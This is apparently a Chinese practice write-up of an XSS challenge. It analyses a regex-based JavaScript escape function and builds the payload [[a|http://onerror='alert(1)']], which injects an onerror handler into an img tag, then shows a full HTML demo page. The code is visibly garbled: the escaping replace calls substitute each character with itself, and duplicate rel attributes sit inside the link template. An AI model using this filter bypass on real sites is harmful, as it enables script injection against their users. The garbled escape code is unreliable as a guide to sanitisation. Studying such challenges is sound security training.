吃过晚饭，再练一题
第五题
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1" rel="external nofollow" rel="external nofollow" >$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
分析：
技术点：正则表达式，html链接，img标签使用
正则表达式：
第2行：替换s中所有的<和”，用html编码表示，点击查看 HTML编码表
正则表达式 g 代表全局模式，javascript replace 用法如下
str.replace(regexp|substr, newSubstr|function)
第4行：将http://xx形式的内容替换成<a href=”http://xx”>xx</a>的形式
() 是为了提取匹配的字符串。表达式中有几个()就有几个相应的匹配字符串。
第6行：输入类似于
[[img123|Description]] 形式。
TRY：
1. 构造第三部的满足弹出alert(1)的s
成功的弹出img语句应该是
<img alt=”b” onerror=”alert(1)” src=”a.gif”> OK! 加载a.gif失败，启动onerror的alert(1)，成功达到目的。
2. 因为全局都将 ” 替换了，所以不能用 ” 闭合，所以要利用第4句构造满足的句子。
逆推一下，”b” onerror=”alert(1)” 应该是一体的，转换一下，”b” onerror=’alert(1)’ 去掉两个双引号，现在b之后的双引号也不是我们输入的，然后成为 “b onerror=’alert(1)'”，但是b之后的 ” 还必须有，那么必然是第4行提供的，哪里提供呢？
<a href=”$1″>$1</a> 替换 $1，即 $1就是b，所以又变为 http://onerror=’alert(1)’。
3. 两者想合，构造 [[a|http://onerror=’alert(1)’]]
html渲染：
<!DOCTYPE html>
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /></head>
<body><script type="text/javascript">
function escape(s) {
var text = s.replace(/</g, '<').replace(/"/g, '"');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1" rel="external nofollow" rel="external nofollow" >$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}
var inputStr = "[[a|http://onerror='alert(1)']]";
var ok = escape(inputStr);
document.write(ok);
</script></body>
</html>
效果：
